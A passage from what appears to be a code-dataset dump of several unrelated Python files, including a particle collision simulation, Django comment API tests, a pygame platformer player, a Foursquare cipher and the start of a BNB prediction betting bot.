of each colliding particle pair twice (permuted indicies) \n We can exclude permutated indicies by taking set of sorted index pairs\n \"\"\"\n colliding_particles_all_index_pairs = np.column_stack((colliding_particles_indicies[0], colliding_particles_indicies[1]))\n colliding_particles_unique_index_pairs = np.array(list(set(tuple(sorted(index_pair)) for index_pair in colliding_particles_all_index_pairs)))\n return colliding_particles_unique_index_pairs\n\n\ndef simulate(frame_idx, particles, acceleration_vector, ax, box_size_x, box_size_y, restitution_coef_bc, restitution_coef_pc):\n x_new, y_new = translate(particles)\n if frame_idx%2 != 0:\n accelerate(particles, acceleration_vector)\n update_positions(particles, x_new, y_new, box_size_x, box_size_y, restitution_coef_bc)\n if frame_idx%2 == 0:\n accelerate(particles, acceleration_vector)\n velocities = np.sqrt(particles.v_x**2 + particles.v_y**2)\n distance_matrix = calculate_distances(particles)\n # Find indicies of colliding partilces\n colliding_particles_indicies = np.where((distance_matrix != 0) & (distance_matrix < particles.radii_sum))\n if colliding_particles_indicies[0].shape[0] > 0:\n collision(particles, colliding_particles_indicies, restitution_coef_pc)\n\n ax.clear()\n circles = [plt.Circle((x_i, y_i), radius=r) for x_i, y_i, r in zip(particles.x, particles.y, particles.radii)]\n collection = matplotlib.collections.PatchCollection(circles, cmap=matplotlib.cm.jet, alpha=0.8)\n collection.set_edgecolors('k')\n collection.set_linewidth(1)\n collection.set_array(velocities)\n collection.set_clim([0, 50])\n ax.add_collection(collection)\n ax.axis('equal')\n ax.set_xlim([-box_size_x/2, box_size_x/2])\n ax.set_ylim([-box_size_y/2, box_size_y/2])\n ax.set_xticks([], [])\n ax.set_yticks([], [])\n\ndef simulate_compare(frame_idx, particles_list, acceleration_vector_list, ax_list, box_size_x, box_size_y, restitution_coef_bc_list, restitution_coef_pc_list, titles):\n for particles, acceleration_vector, ax, restitution_coef_bc, restitution_coef_pc, title in zip(particles_list, acceleration_vector_list, ax_list, restitution_coef_bc_list, restitution_coef_pc_list, titles):\n print(acceleration_vector)\n x_new, y_new = translate(particles)\n if frame_idx%2 != 0:\n accelerate(particles, acceleration_vector)\n update_positions(particles, x_new, y_new, box_size_x, box_size_y, restitution_coef_bc)\n if frame_idx%2 == 0:\n accelerate(particles, acceleration_vector)\n velocities = np.sqrt(particles.v_x**2 + particles.v_y**2)\n distance_matrix = calculate_distances(particles)\n # Find indicies of colliding partilces\n colliding_particles_indicies = np.where((distance_matrix != 0) & (distance_matrix < particles.radii_sum))\n if colliding_particles_indicies[0].shape[0] > 0:\n collision(particles, colliding_particles_indicies, restitution_coef_pc)\n\n ax.clear()\n circles = [plt.Circle((x_i, y_i), radius=r) for x_i, y_i, r in zip(particles.x, particles.y, particles.radii)]\n collection = matplotlib.collections.PatchCollection(circles, cmap=matplotlib.cm.jet, alpha=0.8)\n collection.set_edgecolors('k')\n collection.set_linewidth(1)\n collection.set_array(velocities)\n collection.set_clim([0, 50])\n ax.set_title(title)\n ax.add_collection(collection)\n ax.axis('scaled')\n ax.set_xlim([-box_size_x/2, box_size_x/2])\n ax.set_ylim([-box_size_y/2, box_size_y/2])\n ax.set_xticks([], [])\n ax.set_yticks([], [])\n\n\ndef collision(particles, colliding_particles_indicies, restitution_coef_pc=1.0, adjust_positions=True):\n \"\"\"\n This function calculates and updates velocities of particles after collision\n Input: \n particles - holds information about all particles\n colliding_particles_indicies - indicies of particles that collide (determined from distance matrix)\n restitution_coef_pc - determines how much energy lost during particle-particle collision (=1 for elastic collisions, <1 for inelastic collisions)\n adjust_positions - if True, shifts particle positions during collision from circle overlap to circle contact to prevent particle binding\n \"\"\"\n colliding_particles_unique_index_pairs = get_colliding_particles_unique_index_pairs(colliding_particles_indicies)\n colliding_particles_1 = colliding_particles_unique_index_pairs.T[0]\n colliding_particles_2 = colliding_particles_unique_index_pairs.T[1]\n \n if adjust_positions:\n positions = np.column_stack((particles.x, particles.y))\n distances = np.linalg.norm(positions[colliding_particles_1] - positions[colliding_particles_2], axis=1)\n norm_vector = (positions[colliding_particles_1] - positions[colliding_particles_2])/distances[:, None]\n shifts = (particles.radii[colliding_particles_1] + particles.radii[colliding_particles_2] - distances)/2\n adjusted_positions_1 = positions[colliding_particles_1] + shifts[:, None] * norm_vector\n adjusted_positions_2 = positions[colliding_particles_2] - shifts[:, None] * norm_vector\n particles.x[colliding_particles_1] = adjusted_positions_1.T[0]\n particles.y[colliding_particles_1] = adjusted_positions_1.T[1]\n particles.x[colliding_particles_2] = adjusted_positions_2.T[0]\n particles.y[colliding_particles_2] = adjusted_positions_2.T[1]\n\n velocities = np.column_stack((particles.v_x, particles.v_y))\n positions = np.column_stack((particles.x, particles.y))\n \n impact_velocities_1 = np.sum((velocities[colliding_particles_1] - velocities[colliding_particles_2]) * (positions[colliding_particles_1] - positions[colliding_particles_2]), axis=1)\n impact_velocities_1 = (positions[colliding_particles_1] - positions[colliding_particles_2])/(np.linalg.norm(positions[colliding_particles_1] - positions[colliding_particles_2], axis=1)**2)[:, None] * impact_velocities_1[:, None]\n effective_mass_1 = (1+restitution_coef_pc) * particles.mass[colliding_particles_2]/(particles.mass[colliding_particles_1] + particles.mass[colliding_particles_2])\n delta_v_1 = effective_mass_1[:, None] * impact_velocities_1\n\n impact_velocities_2 = np.sum((velocities[colliding_particles_2] - velocities[colliding_particles_1]) * (positions[colliding_particles_2] - positions[colliding_particles_1]), axis=1)\n impact_velocities_2 = (positions[colliding_particles_2] - positions[colliding_particles_1])/(np.linalg.norm(positions[colliding_particles_2] - positions[colliding_particles_1], axis=1)**2)[:, None] * impact_velocities_2[:, None]\n effective_mass_2 = (1+restitution_coef_pc) * particles.mass[colliding_particles_1]/(particles.mass[colliding_particles_1] + particles.mass[colliding_particles_2])\n delta_v_2 = effective_mass_2[:, None] * impact_velocities_2\n\n particles.v_x[colliding_particles_1] = particles.v_x[colliding_particles_1] - delta_v_1.T[0]\n particles.v_y[colliding_particles_1] = particles.v_y[colliding_particles_1] - delta_v_1.T[1]\n particles.v_x[colliding_particles_2] = particles.v_x[colliding_particles_2] - delta_v_2.T[0]\n particles.v_y[colliding_particles_2] = particles.v_y[colliding_particles_2] - delta_v_2.T[1]\n","repo_name":"ineporozhnii/particles_in_a_box","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"9822512412","text":"from django.contrib import admin\nfrom django.urls import include, path\nfrom drf_yasg import openapi\nfrom drf_yasg.views import get_schema_view\nfrom rest_framework import permissions\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('api/', include('core.urls')),\n]\n\nschema_view = get_schema_view(\n openapi.Info(\n title='Music Albums Guide API',\n default_version='v1',\n description='Документация для приложения backend проекта Music Albums Guide',\n ),\n public=True,\n permission_classes=(permissions.AllowAny,),\n)\n","repo_name":"allyotov/music-album-guide","sub_path":"backend/backend/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4638328339","text":"import pandas as pd\n\nnato_df = pd.read_csv(\"./NATO-alphabet-start/nato_phonetic_alphabet.csv\")\n\n# 1. Create a dictionary in this format:\nnato_dict = {row.letter: row.code for (index, row) in nato_df.iterrows()}\n\n# 2. Create a list of the phonetic code words from a word that the user inputs.\n\nuser_input = input(\"Please input a name: \").upper()\ncode_list = [nato_dict[char] for char in user_input]\n\nprint(code_list)\n","repo_name":"AngelinaBao/Python-Pro-Bootcamp","sub_path":"NATO-alphabet-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41636669045","text":"from django.contrib.auth import get_user_model\nfrom django.urls import reverse\nfrom rest_framework.test import APITestCase\nfrom rest_framework import status\nfrom rest_framework_simplejwt.tokens import RefreshToken\nfrom Blog.models import Article\nfrom account.tests.service import create_user, reverse_querystring, create_admin\nfrom comment.models import Comment\n\nUser = get_user_model()\n\nclass CommentViewTestCase(APITestCase):\n def setUp(self):\n self.user1 = create_user('09224282991', 'mahtab')\n self.user2 = create_user('09224282992', 'mahtab')\n refresh2 = RefreshToken.for_user(user=self.user2)\n self.client.credentials(HTTP_AUTHORIZATION=f'Bearer {refresh2.access_token}')\n self.article1 = Article.objects.create(title='test', description='testtttt', author=self.user1, is_published=True)\n\n def test_create_comment_success(self):\n self.url = reverse('comment:api:create_comment')\n data = {\n 'description': 'big_like',\n 'article': self.article1.sku,\n 'is_private': True\n }\n response = self.client.post(self.url, data)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(Comment.objects.count(), 1)\n comment = Comment.objects.first()\n self.assertEqual(comment.description, 'big_like')\n self.assertEqual(comment.article.sku, self.article1.sku)\n self.assertTrue(comment.is_private)\n self.assertFalse(comment.is_active)\n\n def test_create_comment_by_unauthenticated_user_fail(self):\n self.client.logout()\n self.url = reverse('comment:api:create_comment')\n data = {\n 'description': 'big_like',\n 'article': self.article1.sku,\n 'is_private': True\n }\n response = self.client.post(self.url, data)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_create_active_comment_fail(self):\n url = reverse('comment:api:create_comment')\n data = {\n 'description': 'big_like',\n 'article': self.article1.sku,\n 'is_private': True,\n 'is_active': True\n }\n self.client.post(url, data)\n comment = Comment.objects.first()\n self.assertFalse(comment.is_active)\n\n def test_get_my_comment_list_success(self):\n comment = Comment.objects.create(article=self.article1, description='like', author=self.user2)\n url = reverse('account:api:my_comments')\n response = self.client.get(url)\n comment_count = Comment.objects.filter(author=self.user2).count()\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data.get('count'), comment_count)\n comment1 = response.data.get('results')[0]\n self.assertEqual(comment1.get('description'), comment.description)\n self.assertEqual(comment1.get('article'), comment.article.sku)\n self.assertEqual(comment1.get('is_active'), comment.is_active)\n self.assertEqual(comment1.get('is_private'), comment.is_private)\n self.assertEqual(comment1.get('id'), comment.id)\n\n def test_update_comment_success(self):\n Comment.objects.create(article=self.article1, description='like', author=self.user2, is_active=False)\n comment = Comment.objects.first()\n url = reverse('account:api:update_comment', kwargs={'pk': comment.id})\n data = {\n 'description': \"very good\",\n }\n response = self.client.patch(url, data)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data.get('description'), 'very good')\n self.assertFalse(response.data.get('is_active'))\n\n def test_update_active_comment_fail(self):\n Comment.objects.create(article=self.article1, description='like', author=self.user2, is_active=True)\n comment = Comment.objects.first()\n url = reverse('account:api:update_comment', kwargs={'pk': comment.id})\n data = {\n 'description': \"very good\"\n }\n response = self.client.patch(url, data)\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_delete_comment_success(self):\n Comment.objects.create(article=self.article1, description='like', author=self.user2,)\n comment = Comment.objects.first()\n url = reverse('account:api:delete_comment', kwargs={'pk': comment.id})\n response = self.client.delete(url)\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n def test_get_all_comments_by_user_fail(self):\n self.client.logout()\n Comment.objects.create(article=self.article1, description='like', author=self.user2, is_active=True,\n is_private=False)\n Comment.objects.create(article=self.article1, description='likee', author=self.user1, is_active=True,\n is_private=False)\n url = reverse('comment:api:comment_list')\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_get_just_active_comments_by_user_success(self):\n self.client.logout()\n Comment.objects.create(article=self.article1, description='like', author=self.user2, is_active=True,\n is_private=False)\n Comment.objects.create(article=self.article1, description='likee', author=self.user1, is_active=False,\n is_private=False)\n url = reverse_querystring('comment:api:comment_list', query_kwargs={'article_sku': self.article1.sku})\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data.get('count'), 1)\n comment = response.data.get('results')[0]\n self.assertEqual(comment.get('description'), 'like')\n\n def test_get_all_active_comment_of_an_article_by_user_success(self):\n self.client.logout()\n comment = Comment.objects.create(article=self.article1, description='like', author=self.user2, is_active=True)\n comment2 = Comment.objects.create(article=self.article1, description='big like', author=self.user2, is_active=False)\n url = reverse_querystring('comment:api:comment_list', query_kwargs={'article_sku': self.article1.sku})\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data.get('count'), 1)\n self.assertEqual(response.data.get('count'), 1)\n comment1 = response.data.get('results')[0]\n self.assertEqual(comment1.get('is_active'), comment.is_active)\n self.assertEqual(comment1.get('article'), comment.article.sku)\n self.assertEqual(comment1.get('description'), comment.description)\n\n def test_get_all_inactive_comment_of_an_article_by_user_fail(self):\n self.client.logout()\n Comment.objects.create(article=self.article1, description='like', author=self.user2, is_active=False)\n url = reverse_querystring('comment:api:comment_list', query_kwargs={'article_sku': self.article1.sku})\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data.get('count'), 0)\n\n\n\n","repo_name":"ansari3392/Rest-API-Elearning-","sub_path":"account/tests/test_comments.py","file_name":"test_comments.py","file_ext":"py","file_size_in_byte":7381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37813347900","text":"import os\nimport argparse\n\n_domains = [\"general\", \"crisis\", \"legal\", \"military\"]\n_splits = [\"train\", \"valid\", \"test\"]\n\n\ndef get_domain(path):\n for domain in _domains:\n if domain in path:\n print(\"Found \\\"{}\\\" in {}\".format(domain, path))\n return domain\n\ndef get_split(path):\n for split in _splits:\n if split in path:\n print(\"Found \\\"{}\\\" in {}\".format(split, path))\n return split\n print(\"Couldn't found split from {}\".format(path))\n return \"\"\n\ndef get_lang(path):\n return path[-2:]\n\ndef sentence_generator(path):\n for line in open(path, \"r\"):\n yield line\n\ndef iterate_data(args):\n for dirpath, _, filenames in os.walk(args.in_path):\n if args.type == \"mono\" or (args.type == \"parallel\" and args.required_subdir != None and args.required_subdir in dirpath):\n for filename in filenames:\n path = os.path.join(dirpath, filename)\n domain = get_domain(path)\n split = get_split(path)\n lang = get_lang(path)\n\n os.makedirs(args.out_path, exist_ok=True)\n\n if split:\n out_file = \".\".join([args.type, domain, split, lang])\n else:\n out_file = \".\".join([args.type, domain, lang])\n \n out_file = os.path.join(args.out_path, out_file)\n\n print(\"Iterating {} and writing to {}.\".format(path, out_file))\n with open(out_file, \"a\") as f:\n for sentence in sentence_generator(path):\n f.write(sentence)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"\"\"This script concatenates various monolingual and parallel data files by split, domain, and language, in order to make it easier to use this data for domain detection task. This script assumes that file path indicates the domain, language and split of the data (split is not required). Concatenated files follow naming convention .... It doesn't do any shuffling of the data.\"\"\")\n\n parser.add_argument(\"--in_path\", type=str, help=\"Path to directory containing the data files (which can be in subdirectories).\")\n parser.add_argument(\"--out_path\", type=str, help=\"Directory where concatenated files are saved.\")\n parser.add_argument(\"--type\", type=str, help=\"Must be either \\\"parallel\\\" or \\\"mono\\\"; used for naming files.\")\n parser.add_argument(\"--required_subdir\", type=str, default=\"v2\", help=\"In case there are multiple versions of parallel data available, use this to specify from which subdirectory it should be taken.\")\n\n\n args = parser.parse_args()\n\n assert args.type == \"parallel\" or args.type == \"mono\"\n \n iterate_data(args)","repo_name":"Project-MTee/domain-detection-scripts","sub_path":"01_concatenate_files.py","file_name":"01_concatenate_files.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34911410730","text":"import pygame\n\nfrom Scene4.box_collider import BoxCollider\nfrom Scene4.game_object4_1 import GameObject\nfrom Scene4.game_object4_1 import game_objects\nfrom Scene4 import game_object4_1\nfrom Scene4.frame_counter import FrameCounter\nfrom Scene4.Part1.map_titles.platform import Platform\nfrom Scene4.Part1.map_titles.grass import Grass\nfrom Scene4.Part1.map_titles.hidden_grass import Hidden_Grass\nfrom Scene4.Part1.map_titles.active_grass import Active_Grass\nfrom Scene4.Part1.map_titles.locked_door import LockedDoor\nfrom Scene4.player_anim.player_animation import PlayerAnimation\nfrom Scene4.player_anim.player_death import PlayerDeath\n\nclass Player(GameObject):\n def __init__(self, x, y, input_manager):\n GameObject.__init__(self, x, y)\n self.image = pygame.image.load('Scene4/images/player/player_stand.png')\n self.image = pygame.transform.scale(self.image, (32, 64))\n self.width = self.image.get_width()\n self.heigth = self.image.get_height()\n self.win = False\n self.isJump = False\n self.speed = 4\n self.jumpHight = 16\n self.input_manager = input_manager\n self.counter = FrameCounter(24)\n self.pressJump = False\n self.collider = BoxCollider(self.width, self.heigth)\n self.resetLock()\n self.Alive = True\n self.renderer = PlayerAnimation()\n self.dx = 0\n self.dy = 0\n\n def resetLock(self):\n self.lockDown = False\n self.lockUp = False\n self.lockLeft = False\n self.lockRight = False\n\n def update(self):\n\n if not self.Alive:\n return None\n self.update_animator()\n\n # print(self.y)\n self.collider.x = self.x\n self.collider.y = self.y\n self.resetLock()\n self.collide()\n\n # gavity\n\n if self.isJump == False:\n if not self.lockDown:\n self.y += self.jumpHight\n # print(self.jumpHight)\n else:\n # self.dy = 0\n self.counter.count = self.counter.count_max\n if self.jumpHight > 32 :\n self.jumpHight = 32\n # print(self.limitDown, self.y)\n\n self.move()\n if self.y > 680 :\n self.Alive = False\n def update_animator(self):\n self.renderer.update(self.dx, self.dy)\n\n def collide(self):\n left, right, top, bot = self.collider.corners()\n # print(left, right, top, bot)\n\n collide_at_peak = []\n\n for game_object in game_objects:\n # print(game_object.x , game_object.y)\n if game_object.collider is not None and self.collider.overlap(game_object.collider) :#and game_object.image is not None:\n if type(game_object) == Platform or type(game_object) == Grass or type(game_object) == Hidden_Grass or (type(game_object) == Active_Grass and game_object.isActive):\n gleft, gright, gtop, gbot = game_object.collider.corners()\n if type(game_object) == Hidden_Grass:\n game_object.isActive = True\n cnt = 0\n if bot == gtop or top == gbot:\n cnt += 1\n if left == gright or right == gleft:\n cnt += 1\n\n if cnt == 2:\n collide_at_peak.append(game_object)\n else:\n if bot == gtop:\n self.lockDown = True\n elif top == gbot:\n # if game_object.image == None:\n # print(type(game_object) , gtop , gbot, gleft, gright)\n self.lockUp = True\n elif left == gright:\n self.lockLeft = True\n elif right == gleft:\n self.lockRight = True\n elif type(game_object) == LockedDoor:\n self.win = True\n elif type(game_object) is not Active_Grass:\n game_object.isActive = True\n self.Alive = False\n self.image = None\n death = PlayerDeath(self.x, self.y)\n game_object4_1.add(death)\n\n\n\n if not self.lockDown:\n for game_object in collide_at_peak:\n gleft, gright, gtop, gbot = game_object.collider.corners()\n if left == gright:\n self.lockLeft = True\n if right == gleft:\n self.lockRight = True\n\n def move(self):\n\n self.dx = 0\n self.dy = 0\n\n # move left\n if self.input_manager.left_pressed and not self.lockLeft:\n self.dx = -1\n if game_object4_1.start_point.x == 0 or self.x > 672:\n self.x -= self.speed\n else:\n for game_object in game_objects:\n if type(game_object) is not \"Player\":\n game_object.x += self.speed\n game_object4_1.start_point.x += self.speed\n game_object4_1.finish_point.x += self.speed\n\n # move right\n if self.input_manager.right_pressed and not self.lockRight:\n self.dx = 1\n if game_object4_1.finish_point.x == 800+16 or self.x < 128:\n self.x += self.speed\n else:\n for game_object in game_objects:\n if type(game_object) is not \"Player\":\n game_object.x -= self.speed\n game_object4_1.start_point.x -= self.speed\n game_object4_1.finish_point.x -= self.speed\n\n # jump\n if self.input_manager.up_pressed and not self.pressJump and self.lockDown:\n self.pressJump = True\n self.isJump = True\n self.counter.reset()\n self.jumpHight = 32\n\n if self.pressJump:\n self.dy = 1\n if self.counter.count < self.counter.count_max // 2:\n if self.counter.count % 4 == 0:\n self.jumpHight /= 2\n\n # print(self.counter.count , self.lockUp)\n if not self.lockUp:\n self.y -= self.jumpHight\n # print(self.jumpHight)\n # print(2 , self.y, self.counter.count_max , self.counter.count)\n else:\n self.counter.count = self.counter.count_max - self.counter.count - 1\n # self.jumpHight *= 2\n else:\n # if self.counter.count == self.counter.count_max // 2:\n # self.jumpHight /= 2\n if self.counter.count % 4 == 0 and not self.counter.expired and self.counter.count is not self.counter.count_max // 2:\n self.jumpHight *= 2\n # print(self.jumpHight)\n self.isJump = False\n self.counter.run()\n\n if self.counter.expired:\n self.counter.reset()\n self.pressJump = False\n\n\n\n\n","repo_name":"quyctd/finding-pitbull-codecamp-2018","sub_path":"Scene4/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":7081,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"31977344336","text":"## in py3\n'''\ninput() read a line and return a string\nusing map function in py3 returns a iterator and use function next() to handle it. Also you can handle it with for loop.\n# in py2 map returns a list consists of the result of each element performed by the function.\n'''\nc = map(int, input().split())\na = []\nfor i in c:\n a.append(i)\n print(a)\nprint(a[0])\nfor i in a:\n print(i)\n","repo_name":"oldherd/coding","sub_path":"CM/python_learning/input/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12801647198","text":"#!/usr/bin/python\nimport re\ndef main():\n\tfh = open('raven.txt')\n\tfor line in fh:\n\t\tmatch = re.search('(ans|anc)hul', line)\n\t\tif match:\n\t\t\tprint(line.replace(match.group(), '####'))\n\nif __name__ == \"__main__\":main()\n\n","repo_name":"anshulgera17/sunbeam_practise","sub_path":"python/code-4/regex3.py","file_name":"regex3.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71940246614","text":"'''\nimplements Foursquare cipher\nAuthor: James Lyons\nCreated: 2012-04-28\n'''\nfrom pycipher.base import Cipher\n\n####################################################################################\nclass Foursquare(Cipher):\n \"\"\"The Foursquare Cipher enciphers pairs of characters, the key consists of 2 keysquares, each 25 characters in length.\n More information about the algorithm can be \n found at http://www.practicalcryptography.com/ciphers/four-square-cipher/.\n \n :param key1: The first keysquare, as a 25 character string.\n :param key2: The second keysquare, as a 25 character string.\n \"\"\"\n def __init__(self,key1='zgptfoihmuwdrcnykeqaxvsbl',key2='mfnbdcrhsaxyogvituewlqzkp'):\n self.key1 = [k.upper() for k in key1]\n self.key2 = [k.upper() for k in key2]\n self.alph = 'ABCDEFGHIKLMNOPQRSTUVWXYZ' # no letter j\n assert len(self.key1)==25, 'key1 is not length 25'\n assert len(self.key2)==25, 'key2 is not length 25'\n \n def encipher_pair(self,a,b):\n arow,acol = self.alph.index(a)/5, self.alph.index(a)%5\n brow,bcol = self.alph.index(b)/5, self.alph.index(b)%5\n return (self.key1[arow*5+bcol], self.key2[brow*5+acol])\n \n def decipher_pair(self,a,b):\n arow,acol = self.key1.index(a)/5, self.key1.index(a)%5\n brow,bcol = self.key2.index(b)/5, self.key2.index(b)%5\n return (self.alph[arow*5+bcol], self.alph[brow*5+acol])\n \n def encipher(self,string):\n \"\"\"Encipher string using Foursquare cipher according to initialised key. Punctuation and whitespace\n are removed from the input. If the input plaintext is not an even number of characters, an 'X' will be appended.\n\n Example::\n\n ciphertext = Foursquare(key1='zgptfoihmuwdrcnykeqaxvsbl',key2='mfnbdcrhsaxyogvituewlqzkp').encipher(plaintext) \n\n :param string: The string to encipher.\n :returns: The enciphered string.\n \"\"\" \n string = self.remove_punctuation(string) \n if len(string)%2 == 1: string = string + 'X'\n ret = ''\n for c in range(0,len(string.upper()),2):\n a,b = self.encipher_pair(string[c],string[c+1])\n ret += a + b\n return ret \n\n def decipher(self,string):\n \"\"\"Decipher string using Foursquare cipher according to initialised key. Punctuation and whitespace\n are removed from the input. The ciphertext should be an even number of characters. If the input ciphertext is not an even number of characters, an 'X' will be appended.\n\n Example::\n\n plaintext = Foursquare(key1='zgptfoihmuwdrcnykeqaxvsbl',key2='mfnbdcrhsaxyogvituewlqzkp').decipher(ciphertext) \n\n :param string: The string to decipher.\n :returns: The deciphered string.\n \"\"\" \n string = self.remove_punctuation(string) \n if len(string)%2 == 1: string = string + 'X'\n ret = ''\n for c in range(0,len(string.upper()),2):\n a,b = self.decipher_pair(string[c],string[c+1])\n ret += a + b\n return ret \n \nif __name__ == '__main__': \n print('use \"import pycipher\" to access functions')","repo_name":"guyoung/CaptfEncoder","sub_path":"CaptfEncoder-V2/dev/extensions/ext.common.py/pycipher/foursquare.py","file_name":"foursquare.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","stars":1081,"dataset":"github-code","pt":"67"} +{"seq_id":"20318478291","text":"import datetime as dt\r\nfrom web3 import Web3\r\nfrom web3.middleware import geth_poa_middleware\r\nfrom config import *\r\nfrom colorama import init\r\nfrom colorama import Fore, Back, Style\r\nimport time\r\n\r\n\r\n# For colorama\r\ninit()\r\n\r\nw3 = Web3(Web3.HTTPProvider('https://bsc-dataseed1.binance.org/'))\r\nw3.middleware_onion.inject(geth_poa_middleware, layer=0)\r\n\r\nADDRESS = w3.toChecksumAddress(ADDRESS)\r\nPRIVATE_KEY = str(PRIVATE_KEY).lower()\r\n\r\n# TX SETTING\r\nGAS = 400000\r\nGAS_WIN = 800000\r\nGAS_PRICE = 5000000000\r\n\r\n# Seconds left to new bet\r\nSECONDS_LEFT = 20\r\n\r\n# For Conversions\r\ndiv = 100_000_000\r\ndiv2 = 1_000_000_000_000_000_000\r\n\r\n# Data storage\r\nst = []\r\nwl = []\r\n\r\n\r\nclass Prediction:\r\n\r\n def __init__(self, contract, abi):\r\n # CONTRACT\r\n self.predictionContract = w3.eth.contract(address=contract, abi=abi)\r\n self.length = self.predictionContract.functions.getUserRoundsLength(ADDRESS).call()\r\n\r\n def bet_bull(self, value, epoch):\r\n try:\r\n bull_bet = self.predictionContract.functions.BetBull(epoch).buildTransaction({\r\n 'from': ADDRESS,\r\n 'nonce': w3.eth.getTransactionCount(ADDRESS),\r\n 'value': value,\r\n 'gas': GAS,\r\n 'gasPrice': GAS_PRICE,\r\n })\r\n signed_tx = w3.eth.account.signTransaction(bull_bet, private_key=PRIVATE_KEY)\r\n w3.eth.sendRawTransaction(signed_tx.rawTransaction)\r\n print(f'{w3.eth.waitForTransactionReceipt(signed_tx.hash)}')\r\n except Exception as e:\r\n print(Fore.RED + f'Bet Bull fail - {e}')\r\n print(Fore.RESET)\r\n\r\n def bet_bear(self, value, epoch):\r\n try:\r\n bear_bet = self.predictionContract.functions.BetBear(epoch).buildTransaction({\r\n 'from': ADDRESS,\r\n 'nonce': w3.eth.getTransactionCount(ADDRESS),\r\n 'value': value,\r\n 'gas': GAS,\r\n 'gasPrice': GAS_PRICE,\r\n })\r\n signed_tx = w3.eth.account.signTransaction(bear_bet, private_key=PRIVATE_KEY)\r\n w3.eth.sendRawTransaction(signed_tx.rawTransaction)\r\n print(f'{w3.eth.waitForTransactionReceipt(signed_tx.hash)}')\r\n except Exception as e:\r\n print(Fore.RED + f'Bet Bear fail - {e}')\r\n print(Fore.RESET)\r\n\r\n def make_bet(self, epoch, direction):\r\n try:\r\n value = w3.toWei(BET_AMOUNT, 'ether')\r\n if direction == 'STRONG BUY':\r\n print(Back.GREEN + f'Going Bull #{epoch} | {BET_AMOUNT} BNB ')\r\n print(Back.RESET)\r\n self.bet_bull(value, epoch)\r\n elif direction == 'STRONG SELL':\r\n print(Back.RED + f'Going Bear #{epoch} | {BET_AMOUNT} BNB ')\r\n print(Back.RESET)\r\n self.bet_bear(value, epoch)\r\n except Exception as e:\r\n print(Fore.RED + f'Make Bet fail - {e}')\r\n print(Fore.RESET)\r\n\r\n def new_round(self):\r\n try:\r\n current = self.predictionContract.functions.currentEpoch().call()\r\n data = self.predictionContract.functions.Rounds(current).call()\r\n start_time = dt.datetime.fromtimestamp(data[8]) - dt.timedelta(seconds=SECONDS_LEFT)\r\n print(Back.WHITE)\r\n print(Fore.BLACK + '==========*' * 20)\r\n print(Style.RESET_ALL)\r\n print(Fore.MAGENTA + f'New round: #{current}')\r\n print(Fore.RESET)\r\n return [start_time, current]\r\n except Exception as e:\r\n print(Fore.RED + f'New round fail - {e}')\r\n print(Fore.RESET)\r\n\r\n def claim(self, epoch):\r\n try:\r\n c = self.predictionContract.functions.Claim(epoch).buildTransaction({\r\n 'from': ADDRESS,\r\n 'nonce': w3.eth.getTransactionCount(ADDRESS),\r\n 'value': 0,\r\n 'gas': GAS_WIN,\r\n 'gasPrice': GAS_PRICE,\r\n })\r\n signed_tx = w3.eth.account.signTransaction(c, private_key=PRIVATE_KEY)\r\n w3.eth.sendRawTransaction(signed_tx.rawTransaction)\r\n print(f'{w3.eth.waitForTransactionReceipt(signed_tx.hash)}')\r\n\r\n except Exception as e:\r\n print(Fore.RED + f'Claim fail: {e}')\r\n print(Fore.RESET)\r\n\r\n def refund(self, epoch):\r\n try:\r\n d = self.predictionContract.functions.Refund(epoch).buildTransaction({\r\n 'from': ADDRESS,\r\n 'nonce': w3.eth.getTransactionCount(ADDRESS),\r\n 'value': 0,\r\n 'gas': GAS,\r\n 'gasPrice': GAS_PRICE,\r\n })\r\n signed_tx = w3.eth.account.signTransaction(d, private_key=PRIVATE_KEY)\r\n w3.eth.sendRawTransaction(signed_tx.rawTransaction)\r\n print(f'{w3.eth.waitForTransactionReceipt(signed_tx.hash)}')\r\n\r\n except Exception as e:\r\n print(Fore.RED + f'Refund fail: {e}')\r\n print(Fore.RESET)\r\n\r\n def claim_and_refund(self):\r\n try:\r\n wins = []\r\n refunds = []\r\n end = self.predictionContract.functions.getUserRoundsLength(ADDRESS).call()\r\n user_rounds = self.predictionContract.functions.getUserRounds(ADDRESS, (self.length-2), end+2).call()\r\n self.length = 